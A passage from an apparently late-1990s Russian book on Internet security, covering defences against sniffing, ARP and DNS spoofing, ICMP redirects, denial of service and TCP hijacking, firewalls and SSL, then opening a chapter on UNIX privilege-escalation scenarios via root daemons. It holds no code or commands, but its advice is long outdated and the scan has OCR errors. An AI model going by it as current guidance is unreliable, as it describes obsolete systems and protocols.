не забыли про типовую удаленную атаку <отказ в обслуживании>! Для этой атаки абсолютно не имеет
значения ни вид доступа, ни тип сетевой ОС (хотя клиентская ОС с точки зрения защиты от атаки несколько
предпочтительнее). Эта атака, используя фундаментальные пробелы в безопасности
протоколов и инфраструктуры сети Internet, поражает сетевую ОС на хосте пользователя с одной
единственной целью - нарушить его работоспособность (см. главу 4). Напомним, что для атаки с
навязыванием ложного маршрута при помощи протокола 1СМР, целью которой является отказ в
обслуживании, ОС Windows 95 или Windows NT - наиболее лакомая цель (можно поразить любой хост в сети
Internet, на котором установлена данная ОС, - см. раздел <Навязывание хосту ложного маршрута с исполь-
зованием протокола 1СМР>). Бедному пользователю в таком случае остается надеяться на то, что его
скромный хост не представляет никакого интереса для атакующего, который может нарушить
работоспособность хоста разве что из желания просто напакостить.

  В заключение заметим, что пользователь, который предпочел клиентскую операционную систему, решил
осуществлять только неавторизованный доступ и смирился с удаленной атакой <отказ в обслуживании>, мо-
жет не читать следующие разделы главы.

  Административные методы защиты от удаленных атак в сети
Internet
Итак, уважаемый пользователь или не менее уважаемый сетевой администратор, вы все-таки решили
попытаться защитить свою систему от разного рода удаленных воздействий. Конечно, самым правильным
шагом в этом направлении будет приглашение специалиста по информационной безопасности, который
вместе с вами постарается решить весь комплекс задач по обеспечению необходимого уровня безопасности
для вашей распределенной ВС. Сначала необходимо определить, что (список контролируемых объектов и
ресурсов РВС), от чего (анализ возможных угроз данной РВС) и как (разработка требований, определение
политики безопасности и выработка административных и программно-аппаратных мер по обеспечению на
практике разработанной политики безопасности) защищать.

  Пожалуй, наиболее простыми и дешевыми являются именно административные методы защиты от
информационных разрушающих воздействий, о чем и рассказывается далее.

  Защита от анализа сетевого трафика
В начале четвертой главы рассматривалась атака, позволяющая кракеру с помощью программного
прослушивания канала передачи сообщений в сети перехватывать любую информацию, которой
обмениваются удаленные
пользователи, если по каналу передаются только нешифрованные сообщения. Также было показано, что
базовые прикладные протоколы удаленного доступа TELNET и FTP не предусматривают элементарную
криптозащиту передаваемых по сети идентификаторов (имен) и аутентификаторов (паролей). Поэтому
администраторам сетей мы порекомендуем не использовать эти базовые протоколы для предоставления
удаленного авторизованного доступа к ресурсам своих систем и считать анализ сетевого трафика той
постоянно присутствующей угрозой, которую невозможно устранить, но можно сделать бессмысленной,
применяя стойкие криптоалгоритмы защиты IP-потока.

  Защита от ложного ARP-сервера
Коротко напомним, ^то в главе 4 рассматривалась удаленная атака, использующая недостатки в механизме
удаленного поиска на базе протокола ARP. В том случае, если у сетевой ОС отсутствует информация о соот-
ветствии IP- и Ethernet-адресов хостов внутри одного сегмента IP-сети, данный протокол позволяет посылать
широковещательный ARP-запрос на поиск необходимого Ethernet-адреса, на который атакующий может при-
слать ложный ответ, и в дальнейшем весь трафик на канальном уровне окажется перехваченным атакующим
и пройдет через ложный ARP-cep-вер. Очевидно, что для ликвидации данной атаки необходимо устранить
причину ее возможного осуществления, которая заключается в отсутствии у ОС каждого хоста пеобходимбй
информации о соответствующих 1Р-и Ethernet-адресах всех остальных хостов внутри данного сегмента сети.

  Таким образом, самое простое решение - создать сетевым администратором статическую ARP-таблицу в
виде файла (в ОС UNIX обычно /etc/ ethers), куда внести необходимую информацию об адресах. Данный
файл устанавливается на каждый хост внутри сегмента, и, следовательно, у сетевой ОС отпадает
необходимость в использовании удаленного ARP-по-иска. Правда, отметим, что ОС Windows 95 это не
помогает.

  Защита от ложного DNS-сервера
Из главы 4 следует, что использование службы DNS в ее нынешнем виде может позволить кракеру получить
глобальный контроль над соединениями путем навязывания ложного маршрута через хост кракера- ложный
DNS-ссрвср. Осуществление такой удаленной атаки, основанной на потенциальных уязвимостях службы
DNS, приведет к катастрофическим последствиям для огромного числа пользователей Internet и станет
причиной массового нарушения информационной безопасности глобальной
сети. Далее для администраторов и пользователей Сети и для администраторов DNS-серверов предлагаются
возможные административные методы предотвращения или затруднения данной удаленной атаки.

  Как администратору сети защититься от ложного DNS-сервера
Если отвечать на вопрос защиты от ложного DNS-сервера коротко, то никак. Ни административно, ни
программно нельзя защититься от атаки на существующую версию службы DNS. Оптимальное решение с
точки зрения безопасности - вообще отказаться от применения службы DNS в вашем защищенном сегменте.

  Конечно, совсем отказаться от использования имен при обращении к хостам будет очень неудобно,
поэтому предложим следующее компромиссное решение: использовать имена, но отказаться от механизма
удаленного DNS-поиска. Вы правильно догадались, что это возвращение к схеме, применявшейся до
появления службы DNS с выделенными DNS-серверами. Тогда на каждой машине существовал файл hosts, в
котором находилась информация об именах и соответствующих IP-адресах всех хостов в сети. Очевидно,
что на сегодняшний день администратору в подобный файл можно внести информацию лишь о наиболее
часто посещаемых пользователями данного сегмента серверах сети. Поэтому на практике выполнить данное
решение чрезвычайно затруднительно и, видимо, нереально (что, например, делать с браузерами, которые
используют URL с именами?).

  Чтобы усложнить осуществление данной удаленной атаки (передача на хост ложного DNS-ответа без
приема DNS-запроса), можно предложить администраторам использовать протокол TCP вместо протокола
UDP, который устанавливается по умолчанию (хотя из документации далеко не очевидно, как его заменить).

  Общий неутешительный вывод таков: в сети Internet при использовании существующей версии службы
DNS нет приемлемого решения для защиты от ложного DNS-сервера (и не откажешься, как в случае с ARP,
и использовать опасно).

  Как администратору DNS-сервера защититься от ложного DNS-сервера
Единственный способ затруднить осуществление данной удаленной атаки - использовать для общения с
хостами и с другими DNS-серверами только протокол TCP, но не UDP. Но не забывайте как про возможный
перехват DNS-запроса, так и про математическое предсказание начально-. го значения TCP-идентификатора
ISN (см. раздел <Подмена одного из субъектов TCP-соединения в сети Internet>).

  В заключение можно порекомендовать для всей сети Internet поскорее перейти либо к более защищенной
версии службы DNS, либо принять единый стандарт на защищенный протокол. Осуществить этот переход,
несмотря на все колоссальные расходы, просто необходимо, иначе Internet окажется на коленях перед
возрастающими успешными попытками нарушения безопасности.

  Защита от навязывания ложного маршрута
Напомним, что в главе 4 рассматривалась удаленная атака передачи на хост ложного сообщения ICMP
Redirect о смене исходного маршрута. Эта атака приводила как к перехвату атакующим информации, так и к
нарушению работоспособности атакуемого хоста. Для того чтобы защититься от такой атаки, необходимо
либо фильтровать данное сообщение (используя Firewall или фильтрующий маршрутизатор), не допуская его
попадания на конечную систему, либо соответствующим образом выбирать сетевую ОС, которая
проигнорирует это сообщение. Однако обычно не существует административных способов повлиять на
сетевую ОС так, чтобы запретить ей изменять маршрут и реагировать на данное сообщение. Единственный
способ (например, в случае ОС Linux или FreeBSD) заключается в том, чтобы изменить исходные тексты и
перекомпилировать ядро ОС. Очевидно, что такой экзотический подход возможен только для операционных
систем, свободно распространяемых вместе с исходными текстами. Другого способа узнать реакцию
используемой у вас ОС на сообщение ICMP Redirect, как послать сообщение и посмотреть, каков будет
результат, на практике не существует. Эксперименты показали, что данное сообщение позволяет изменить
маршрутизацию на ОС Windows 95 и Windows NT 4.0. Отметим, что продукты компании Microsoft не
отличаются особой защищенностью от возможных удаленных атак, присущих IP-сетям (как видно из главы
4). Следовательно, нежелательно использовать данные ОС в защищенном сегменте IP-сети. Это и будет тем
самым административным решением по защите от подобной удаленной атаки.

  Защита от отказа в обслуживании
Как уже отмечалось, приемлемых способов защиты от отказа в обслуживании для стандарта IPv4 сети
Internet нет и не может быть. Это связано с тем, что в IPv4 невозможен контроль за маршрутом сообщений.

  Поэтому нельзя обеспечить надежный контроль за сетевыми соединениями, так как у одного субъекта
сетевого взаимодействия есть возможность занять неограниченное число каналов связи с удаленным
объектом и при этом
остаться анонимным. Из-за этого любой сервер в Internet может быть полностью парализован при помощи
соответствующей удаленной атаки, рассмотренной в главе 4.

  Единственное, что можно предложить для повышения надежности работы системы, подвергаемой данной
атаке, - использовать как можно более мощные компьютеры. Чем больше число и частота работы процессо-
ров, чем больше объем оперативной памяти, тем более надежной будет работа сетевой ОС, когда на нее
обрушится направленный шторм ложных запросов на создание соединения. Кроме того, необходимо
использование соответствующих вашим вычислительным мощностям операционных систем с внутренней
очередью, способной вместить большое число запросов на подключение. Ведь если вы, например,
установите на суперкомпьютер операционную систему Windows NT, у которой средняя длина очереди для
одновременно обрабатываемых запросов около 50, а тайм-аут очистки очереди равен 9 секундам, то,
несмотря на все вычислительные мощности компьютера, ОС будет полностью парализована атакующим (см.

  главу 4).

  Общий вывод по противодействию данной атаки в существующем стандарте IPv4 следующий: просто
расслабьтесь и надейтесь на то, что вы ни для кого не представляете интереса, или купите мощный
компьютер с соответствующей сетевой ОС.

  Защита от подмены одной из сторон
Как отмечалось ранее, единственным базовым протоколом семейства TCP/ IP, в котором изначально
предусмотрена функция обеспечения безопасности соединения и его абонентов, является протокол
транспортного уровня - протокол TCP. Что касается базовых протоколов прикладного уровня (FTP, TELNET,
г-служба, NFS, HTTP, DNS, SMTP), то ни один из них не предусматривает дополнительной защиты
соединения на своем уровне, и решение всех проблем по обеспечению безопасности соединения останется за
протоколом более низкого транспортного уровня - TCP. Однако, вспомнив о возможных атаках на TCP-
соединение, рассмотренных в разделе <Подмена одного из субъектов TCP-соединения в сети Internet>, не-
сложно сделать вывод: при использовании базовых протоколов семейства TCP/IP обеспечить безопасность
соединения практически невозможно. Это происходит из-за того, что, к сожалению, все базовые протоколы
сети Internet сильно устарели с точки зрения обеспечения информационной безопасности.

  Единственное, что можно порекомендовать сетевым администраторам для защиты только от межсегментных
атак на соединения, - в качестве
базового <защищенного> протокола использовать протокол TCP и сетевые ОС, в которых начальное
значение идентификатора TCP-соединения действительно генерируется случайным образом (неплохой
псевдослучайный алгоритм генерации используется в последних версиях ОС FreeBSD). Подчеркнем, что
здесь говорилось только о базовых протоколах семейства TCP/IP, а все защищенные протоколы типа SSL, S-
HTTP, Kerberos и т. д. не являются базовыми.

  Программно-аппаратные методы защиты от удаленных атак
К программно-аппаратным средствам обеспечения информационной безопасности средств связи в
вычислительных сетях относятся:

  
 программно-аппаратные шифраторы сетевого трафика;

 методика Firewall, реализуемая на базе программно-аппаратных средств;

 защищенные сетевые криптопротоколы;

 программные средства обнаружения атак (IDS - Intrusion Detection Systems) (см. главу 9);

 программные средства анализа защищенности (см. главу 9);

 защищенные сетевые ОС.

  Существует огромное количество литературы, посвященной средствам защиты для использования в сети
Internet (за последние несколько лет практически в любом номере компьютерного журнала встречаются
статьи на эту тему).

  Эти средства мы опишем по возможности кратко, чтобы не повторять хорошо известную всем
информацию. При этом мы преследуем следующие цели: во-первых, еще раз вернуться к мифу об
<абсолютной защите>, которую якобы обеспечивают системы Firewall; во-вторых, сравнить существующие
версии криптопротоколов, применяемых в Internet, и дать оценку критическому, по сути, положению в этой
области.

  Методика Firewall
В общем случае методика Firewall как основное программно-аппаратное средство осуществления сетевой
политики безопасности в выделенном сегменте IP-сети реализует следующие основные функции.

  1. Многоуровневая фильтрация сетевого трафика Фильтрация обычно происходит на четырех уровнях

                                      OSI:


  1. Канальном (Ethernet).

  2. Сетевом (IP).

  3. Транспортном (TCP, UDP).

  4. Прикладном (FTP, TELNET, HTTP, SMTP и т. д.). Фильтрация сетевого трафика является основной
функцией систем Firewall и позволяет администратору безопасности сети централизованно осуществлять
необходимую сетевую политику в выделенном сегменте IP-сети, то есть, настроив соответствующим
образом Firewall, можно разрешить или запретить пользователям как доступ из внешней сети к соот-
ветствующим службам хостов или к хостам, находящимся в защищаемом сегменте, так и доступ
пользователей из внутренней сети к соответствующим ресурсам внешней сети. Можно провести аналогию с
администратором локальной ОС, который для осуществления политики безопасности в системе назначает
необходимым образом соответствующие отношения между субъектами (пользователями) и объектами
системы (файлами, например), что позволяет разграничить доступ субъектов системы к ее объектам в
соответствии с заданными администратором правами доступа. Те же рассуждения применимы к Firewall-
фильтрации: в качестве субъектов взаимодействия будут выступать IP-адреса хостов пользователей, а в
качестве объектов, доступ к которым необходимо разграничить, - IP-адреса хостов, используемые
транспортные протоколы и службы предоставления удаленного доступа.

  2. Proxy-схема с дополнительной идентификацией и аутентификацией
пользователей на Firewall-хосте
Proxy-схема позволяет, во-первых, при доступе к защищенному Firewall сегменту сети осуществить на нем
дополнительную идентификацию и аутентификацию удаленного пользователя и, во-вторых, является осно-
вой для создания приватных сетей с виртуальными IP-адресами. Смысл proxy-схемы заключается в создании
соединения с конечным адресатом через промежуточный proxy-сервер (в переводе с англ.  - полно-
мочный) на хосте Firewall.

  3. Создание приватных сетей с <виртуальными> IP-адресами
Если администратор безопасности сети считает целесообразным скрыть истинную топологию своей
внутренней IP-сети, то ему можно порекомендовать использовать системы Firewall для создания
виртуальных сетей
с применением технологии NAT (Network Address Translation). Для адресации во внешнюю сеть через
Firewall необходимо либо использовать на хосте Firewall описанные выше proxy-серверы, либо применять
только специальные системы маршрутизации (через которые и возможна внешняя адресация). Это
происходит из-за того, что используемый во внутренней приватной сети <виртуальный> IP-адрес, очевидно,
непригоден для внешней адресации, то есть адресации к абонентам, находящимся за ее пределами. Поэтому
proxy-сервер должен осуществлять связь с абонентами из внешней сети со своего настоящего IP-адреса.

  Кстати, эта схема удобна в том случае, если вам для создания IP-сети выделили недостаточное количество
IP-адресов: в стандарте IPv4 это случается сплошь и рядом, поэтому для полноценной IP-сети с
использованием proxy-схемы достаточно одного выделенного IP-адреса для proxy-сервера.

  Итак, любое устройство, реализующее хотя бы одну из этих функций Firewall-методики, и является
Firewall-устройством. Например, ничто не мешает вам использовать в качестве Firewall-хоста компьютер с
обычной ОС FreeBSD или Linux, у которой соответствующим образом нужно скомпилировать ядро ОС.

  Firewall такого типа будет обеспечивать только многоуровневую фильтрацию IP-трафика. Другое дело -
предлагаемые на рынке мощные Firewall-комплексы, созданные на базе ЭВМ или мини-ЭВМ, обычно
реализуют все функции Firewall-методики и являются полнофункциональными системами Firewall.

  Но Firewall не является гарантией абсолютной защиты от удаленных атак в Internet. Эта система - не
столько средство обеспечения безопасности, сколько возможность централизованно осуществлять сетевую
политику разграничения удаленного доступа к ресурсам вашей сети. Да, в том случае, если, например, к
данному хосту запрещен удаленный TELNET-доступ, Firewall однозначно предотвратит возможность такого
доступа. Однако большинство удаленных атак имеют совершенно другие цели (бессмысленно пытаться
получить определенный вид доступа, если он запрещен системой Firewall). Действительно, зададим себе
вопрос, а какие из рассмотренных удаленные атак может предотвратить Firewall? Анализ сетевого трафика?

  Очевидно, нет! Ложный ARP-сервер? И да, и нет (для защиты вовсе не обязательно использовать Firewall).

  Ложный DNS-сервер? Нет, к сожалению, Firewall вам тут не помощник. Навязывание ложного маршрута при
помощи протокола 1СМР? Да, эту атаку путем фильтрации ICMP-сообщений Firewall легко отразит (хотя
достаточно будет фильтрующего маршрутизатора, например Cisco). Подмена одного из субъектов TCP-
соединения? Ответ отрицательный - Firewall тут абсолютно ни при чем. Нарушение работоспособности хоста
путем
создания направленного шторма ложных запросов или переполнения очереди запросов? В этом случае
применение Firewall только ухудшит дело. Взломщику достаточно атаковать только один Firewall, а не
несколько хостов (это легко объясняется тем, что связь внутренних хостов с внешним миром возможна
лишь через Firewall), чтобы вывести из строя (отрезать от внешнего мира) все хосты внутри защищенного
Firewall-системой сегмента.

  Из всего вышесказанного отнюдь не следует, что использование Firewall абсолютно бессмысленно. На
данный момент этой методике (именно как методике) нет альтернативы. Однако нужно четко понимать и
помнить ее основное назначение.

  Программные методы защиты
К программным методам защиты можно отнести прежде всего защищенные криптопротоколы, с
использованием которых появляется возможность надежной защиты соединения. Далее речь пойдет о
существующих на сегодняшний день в Internet подходах и основных, уже разработанных,
криптопротоколах.

  SKIP-технология и криптопротоколы SSL, S-HTTP как основное средство защиты соединения и
передаваемых данных в сети Internet
Прочитав главы 4-6, читатель, очевидно, уяснил, что одна из основных причин успеха удаленных атак на
распределенные ВС кроется в использовании сетевых протоколов обмена, которые не могут надежно
идентифицировать удаленные объекты, защитить соединение и передаваемые по нему данные. Поэтому
совершенно естественно, что в процессе функционирования Internet были созданы различные защищенные
сетевые протоколы, использующие криптографию как с закрытым, так и с открытым ключом. Классическая
криптография с симметричными криптоалгоритма-ми предполагает наличие у передающей и принимающей
сторон симметричных (одинаковых) ключей для шифрования и дешифрирования сообщений. Эти ключи
заранее должны быть распределены между конечным числом абонентов, что в криптографии называется
стандартной проблемой статического распределения ключей. Очевидно, что применение классической
криптографии с симметричными ключами возможно лишь на , ограниченном множестве объектов. В сети
Internet для всех ее пользователей решить проблему статического распределения ключей не представляется
возможным. Однако одним из первых защищенных протоколов обмена в Internet был протокол Kerberos,
основанный именно на статическом
распределении ключей для конечного числа абонентов. Таким же путем, используя классическую
симметричную криптографию, вынуждены идти наши спецслужбы, разрабатывающие свои защищенные
криптопротоколы для Internet. Итак, чтобы дать возможность защититься всему множеству пользователей
сети Internet, а не ограниченному его подмножеству, необходимо использовать динамически
вырабатываемые в процессе создания виртуального соединения ключи, применяя криптографию с открытым
ключом (см. главу 6 и [7]). Далее мы рассмотрим основные на сегодняшний день подходы и протоколы,
обеспечивающие защиту соединения.

  5'KIP-технологией (Secure Key Internet Protocol - Internet-протокол с защищенным ключом) называется
стандарт инкапсуляций IP-пакетов, позволяющий в существующем стандарте IPv4 на сетевом уровне обеспе-
чить защиту соединения и передаваемых по нему данных. Это достигается следующим образом: SKIP-пакет -
это обычный IP-пакет, его поле данных представляет собой SKIP-заголовок определенного спецификацией
формата и криптограмму (зашифрованные данные). Такая структура SKIP-па-кета позволяет
беспрепятственно направлять его любому хосту в Internet (межсетевая адресация происходит по обычному
IP-заголовку в SKIP-па-кете). Конечный получатель SKIP-пакста по заранее определенному разработчиками
алгоритму расшифровывает криптограмму и формирует обычный TCP- или UDP-накет, который и передает
соответствующему обычному модулю (TCP или UDP) ядра операционной системы. В принципе ничто не
мешает разработчику формировать по данной схеме свой оригинальный заголовок, отличный от SKIP-
заголовка.

  S-HTTP (Secure HTTP - защищенный HTTP) - это защищенный HTTP-протокол, разработанный компанией
Enterprise Integration Technologies (EIT) специально для Web. Протокол S-HTTP позволяет обеспечить
надежную криптозащиту только HTTP-документов Web-сервера и функционирует на прикладном уровне
модели OSI. Такая особенность протокола делает его абсолютно специализированным средством защиты
соединения, следовательно, его применение для защиты всех остальных прикладных протоколов (FTP,
TELNET, SMTP и др.) невозможно. Кроме того, ни один из существующих на сегодняшний день основных
Web-браузеров (ни Netscape Navigator, ни Microsoft Explorer) не поддерживает данный протокол.

  SSL (Secure Socket Layer - защищенные скрытые гнезда) - разработка компании Netscape - универсальный
протокол защиты соединения, функционирующий на сеансовом уровне OSI. Он использует криптографию с
открытым ключом и на сегодняшний день, по нашему мнению, является
единственным универсальным средством, позволяющим динамически защитить какое угодно соединение с
применением любого прикладного протокола (DNS, FTP, TELNET, SMTP и т, д.). Это связано с тем, что SSL,
в отличие от S-HTTP, функционирует на промежуточном сеансовом уровне OSI - между транспортным (TCP,
UDP) и прикладным (FTP, TELNET). При этом процесс создания виртуального SSL-соединения происходит
по схеме Диффи и Хеллмана (см. главу 6), которая позволяет выработать криптостойкий сеансовый ключ,
используемый в дальнейшем абонентами SSL-соединения для шифрования передаваемых сообщений.

  Протокол SSL уже практически оформился в качестве официального стандарта защиты для HTTP-
соединений, то есть для защиты Web-серверов. Его поддерживают, естественно, Netscape Navigator и, как ни
странно, Microsoft Explorer (вспомним ожесточенную войну браузеров компаний Netscape и Microsoft).

  Конечно, для установки SSL-соедипения с Web-сервером еще необходимо и наличие Web-сервера,
поддерживающего SSL (например, SSL-Apache).

  Завершая рассказ о протоколе SSL, нельзя не отметить следующий факт: законами США до недавнего
времени был запрещен экспорт криптосистем с длиной ключа более 40 бит (не так давно лимит был увеличен
до 56 бит), поэтому в существующих версиях браузеров используются именно 40-битные ключи. Проведя
эксперименты, криптоаналитики выяснили, что в имеющейся версии протокола SSL шифрование с
использованием 40-битного ключа не является надежной защитой для передаваемых по сети сообщений, так
как путем простого перебора (2^" комбинаций) этот ключ подбирается за время от 1,5 (на суперкомпьютере
Silicon Graphics) до 7 суток (в вычислениях было задействовано 120 рабочих станций и несколько   мини  -

                                      ЭВМ).


  Итак, очевидно, что повсеместное применение защищенных протоколов обмена, особенно SSL (конечно, с
длиной ключа более 40 бит), поставит надежный барьер на пути всевозможных удаленных атак и серьезно
усложнит жизнь кракеров всего мира. Однако весь трагизм сегодняшней ситуации с обеспечением
безопасности в Internet состоит в том, что пока ни один из существующих криптопротоколов (а их уже
немало) не оформился в качестве единого стандарта защиты соединения, который поддерживался бы всеми
производителями сетевых ОС. Протокол SSL подходит на эту роль наилучшим образом, но его не
поддерживают все сетевые ОС. Поэтому были созданы специальные прикладные SSL-совместимыс серверы
(DNS, FTP, TELNET, WWW и др.). Если не договориться о принятии единого стандарта на защищенный
протокол сеансового уровня, то
тогда нужно принимать многие стандарты на защиту каждой отдельной прикладной службы. Например, уже
разработан экспериментальный протокол Secure DNS. Также существуют экспериментальные SSL-COB-
местимые Secure FTP- и TELNET-серверы. Но все это без принятия единого стандарта на защищенный
протокол не имеет абсолютно никакого смысла. В настоящее время производители сетевых ОС не могут
договориться о единой позиции по этому вопросу и тем самым перекладывают решение проблемы
непосредственно на пользователей Internet.






                                      ЧАСТЬ 3



                                      ГЛАВА 9



                  ПРОШЛОЕ И НАСТОЯЩЕЕ СЕТЕВЫХ ОПЕРАЦИОННЫХ СИСТЕМ

Извечной и зловещей мечтой вирусов является абсолютное мировое господство, и, как ни
ужасны методы, коими они в настоящее время пользуются, им нельзя отказать в
настойчивости, изобретательности и способности к самопожертвованию во имя великой
цели.

  А. Стругацкий, Б. Стругацкий. Сказка о тройке
В предыдущей части книги были рассмотрены протоколы TCP/IP и показаны их слабые стороны с точки
зрения безопасности. Эти протоколы (соответственно и изъяны в них) являются в большей степени
независимыми от конкретной их реализации в операционных системах или программах,, то есть любая из
них в той или иной степени небезопасна. При этом неудачная реализация протоколов еще больше усиливает
заложенную в них уязвимость.

  Однако протоколы никогда не являлись непосредственной целью атаки кракера. Его действия всегда
направлены на определенный компьютер с конкретной реализаций протоколов TCP/IP, с конкретной
операционной системой и конкретным набором приложений, поэтому нетрудно предположить, что хакеры
также занимаются исследованием особенностей разных ОС и приложений. Ясно, что такие атаки будут
специфичными не только для конкретных ОС и программ, но и для их версий и диалектов, хотя и в этом
случае можно выделить некоторые общие механизмы атак, классифицировать их и те уязвимости ОС,
которые делают подобные атаки возможными.

  Пришло время рассмотреть сетевые операционные системы, составляющие большинство в сегодняшней
Сети, - семейства UNIX и Windows.

  Internet - это сеть UNIX-машин. Такое утверждение является не совсем справедливым в наше время, когда
успех и конкурентоспособность
операционной системы напрямую зависят от того, насколько легко они интегрируются в Сеть. Однако сеть
Internet (вернее, ее прадед -ARPANET) возникла именно из необходимости связать между собой UNIX-
компьютеры, которые были самыми распространенными и прогрессивными в то время. (Кстати, UNIX-
идеология наложила свой отпечаток и на все основные сетевые протоколы.) Мы ни в коем случае не хотим
принизить значение принципов построения UNIX для развития операционных систем, но общеизвестно, что
у этой ОС в ее классическом варианте слишком много проблем с безопасностью, причем проблемы
настолько глубоки, что корректное и надежное их искоренение приведет к перерождению UNIX как таковой
- это будет новая операционная система. Много пролито слез по этому поводу: <Ах, если бы разработчики
UNIX уделили больше внимания безопасности>. Но не следует забывать, что все концепции UNIX
прорабатывались в начале 70-х годов, когда практически не было никакой теории компьютерной
безопасности, а создатели и вовсе делали ее <под себя>, не подозревая, насколько теснее (появятся сети) и
опаснее (появятся кракеры) станет компьютерный мир через несколько лет.

  Следовательно, современные операционные системы (Novell Netware, Windows NT) оказываются в
заведомо более выгодном положении - они разрабатывались, во-первых, с учетом ошибок UNIX и
современной ситуации с безопасностью сетей, а во-вторых, сразу придерживались четкой концепции клиент
- сервер, при которой, в частности, клиенту еще надо доказать, что он тот, за кого себя выдает. Из сказанного
читатель может сделать вывод, что современные системы являются более безопасными, чем добрая старая
UNIX. К сожалению, нет. И вряд ли кто-то может дать четкий ответ, какая же из ОС является более, а какая
менее безопасной.

  Да, у UNIX есть серьезные изъяны по части безопасности, и именно на UNIX были осуществлены самые
громкие компьютерные атаки, однако она используется в качестве сетевой ОС с момента зарождения Сети, и
опыт ее использования позволяет говорить о том, какого рода атаки на нее возможны, а какие - нет.

  Исследователями написаны, а администраторами изучены сотни статей и книг относительно механизмов
безопасности UNIX и способов их нарушения, построены 'соответствующие классификации. Все это
позволяет предположить, что никаких сюрпризов UNIX больше не преподнесет.

  С новыми операционными системами ситуация в корне противоположная. Да, в них заложены концепции,
согласующиеся с современным состоянием теории безопасности, - и мощные модели разграничения доступа,
и надежная подсистема аутентификации, и аудит. Однако именно молодость делает ОС <темными
лошадками>, которые активно исследуются как хакерами, так и кракерами (а репутация фирм-
производителей и агрессивная маркетинговая политика только активизируют их усилия). Похоже, что
операционные системы, не совместимые с UNIX, несмотря на печальный опыт своей предшественницы,
начинают проходить тот же самый путь и совершать те же самые ошибки в обеспечении безопасности (на
другом витке спирали, естественно). И до окончательного вывода о качествах этих ОС еще далеко. Сравните
- червь Морриса появился спустя 15 лет после выпуска UNIX и спустя 5 лет после включения в нее
поддержки TCP/IP. А выход Windows NT 4.0 состоялся в 1996 году.

  Описанию подсистемы безопасности, уязвимых мест, механизмов атак и защиты от них в двух самых
популярных на сегодняшний день ОС -UNIX (различные версии) и Windows NT (версия 4.0) - и посвящена
эта глава.

  Классификация пользователей и типовых сценариев атак в UNIX
Рассмотрим основные пути получения взломщиком несанкционированного доступа на UNIX-компьютере.

  Как известно, в UNIX различают два вида пользователей - обычный
пользователь, имеющий права на доступ в рамках своего идентификатора (UID,
userid) и членства в группе (GID, group ID), и так называемый
суперпользователь (root), имеющий неограниченные права (UID и GID у него
равны специальному значению 0).



          - -------------------------------------------------------------

! Каждый пользователь UNIX в текущий момент может быть членом esjk только одной группы, поэтому
он имеет один UID и один GID.


          - -------------------------------------------------------------

По мере развития ОС среди обычных пользователей выделились так называемые специальные
пользователи. Они, как правило, имеют зарезервированные имена (например, guest, bin, uucp и т.п.) и номера
UID и GID (например, меньше 100). Хотя в защите UNIX нет никакого особого механизма, отличающего
специального пользователя от обычного, можно сказать, что первый имеет еще меньше прав, чем второй. В
частности, специальным пользователям обычно нельзя зайти в систему нормальным образом. Самым
интересным для нас примером специального пользователя является анонимный пользователь ftp, который
так и называется -anonymous, или ftp.

  Наконец, условно к категории пользователей можно отнести человека, удаленно подключившегося
(обычно по протоколу TELNET) к вашей машине и взаимодействующего с одной из программ-демонов (в
современной терминологии такие программы называются серверами). Эти программы обычно стартуют .при
загрузке машины, чаще всего от имени суперпользователя, и постоянно активны как процессы, что позволяет
пользователю в любой момент удаленно подключаться к ним, но при этом он не имеет никаких прав на
чтение/запись информации на вашем компьютере и вообще не идентифицируется системой UNIX (команда
who). Однако он может исполнять некоторые команды - не программы UNIX, а команды-запросы к тому
демону, к которому он подключен. Так, подключившись по протоколу TELNET на 25-й порт, можно вводить
команды SMTP-сервера, например mail или ехрп. Последний тип пользователя (назовем его псев-
допользователь) оказывается чуть ли не самым важным для нашего рассмотрения, так как, не обладая
никакими правами и обязанностями (кстати, от него не требуется аутентификации, учет по нему тоже не
ведется), он взаимодействует с демонами, которые практически всегда имеют полномочия
суперпользователя.

  Итак, условно иерархию пользователей на UNIX-машине можно представить следующим образом:

  0. Суперпользователь - неограниченные права.

  1. Обычный пользователь - права с ограничениями, установленными для него суперпользователем.

  2. Специальный пользователь - права с ограничениями, установленными ему суперпользователем для работы
с конкретным приложением.

  3. Псевдопользователь - нет никаких прав, он вообще не идентифицируется системой.

  Очевидно, что любой пользователь Internet всегда имеет привилегии третьего уровня на вашем хосте, а
также, если поддерживается соответствующий сервис, привилегии второго уровня.

  Таким образом, задачей хакера является несанкционированное получение привилегий более высокого
уровня. (Заметим, что необязательно конечной целью хакера является получение именно привилегий
суперпользователя - вирус Морриса, например, даже и не пытался сделать этого.) Эту задачу он, очевидно,
может попытаться решить различными путями: либо получить сразу требуемые привилегии, либо
постепенно наращивать их. Рассмотрим далее типовые сценарии получения привилегий и средства UNIX,
делающие их возможными.

  1. <Сразу в дамки> - имея привилегии третьего уровня, хакер получает права суперпользователя. Как уже
отмечалось, такой фантастический прыжок возможен благодаря механизму демонов UNIX, отвечающих
за обработку удаленных запросов. Так как эти демоны чаще всего выполняются от имени
суперпользователя, то все, что нужно псевдопользователю, - это знать существующие <дыры> или
ошибки в этих демонах (или найти самому), которые позволят эксплуатировать их нестандартным или
запрещенным образом. Обычно это сводится к возможности удаленно выполнить от их имени любую
команду на атакуемом хосте, какую конкретно - зависит от намерений и характера хакера. Иногда это
может быть создание ошибочной ситуации, приводящей к аварийному завершению демона с выдачей
дампа памяти на диск, содержащий весьма полезную для хакера информацию (например, кэшированные
пароли). Типичными примерами уязвимых демонов были и остаются sendmail, ftpd, fingerd. Новые
демоны (типа httpd или talkd) имеют гораздо меньшую историю эксплуатации, поэтому известно
меньшее число их дыр и, соответственно, они перспективнее для поиска новых.

  Такой сценарий был очень популярен ца заре развития глобальных сетей, им пользовался вирус Морриса
(см. в этой главе раздел <Червь>). Сейчас найти дыру такого рода в демонах очень трудно, хотя и можно.

  Хосты, допускающие атаку по этому сценарию, должны считаться катастрофически незащищенными.

  2. <Из специального - в обычного, или выше>. Этот сценарий очень похож на предыдущий, с тем исключением,
что для хакера требуются начальные привилегии второго уровня (иначе говоря - запущен некоторый
дополнительный сервис). Для четкого отличия таких атак от первого типа будем считать, что
злоумышленник всегда проходит некую (пусть примитивную) идентификацию и, возможно,
аутентификацию. Это не очень серьезное допущение, большинство хостов поддерживают некоторый
удобный (например, анонимный ftp) или необходимый (типа tftp для удаленной загрузки бездисковых
станций) сервис. Привилегии второго уровня могут дать возможность хакеру читать некоторые файлы
(например, из -ftp/pub) и, что самое главное, записывать свои файлы на ваш компьютер (в каталог типа -
ftp/incoming). С другой стороны, так как пользователь регистрируется на вашем компьютере, в его файлах-
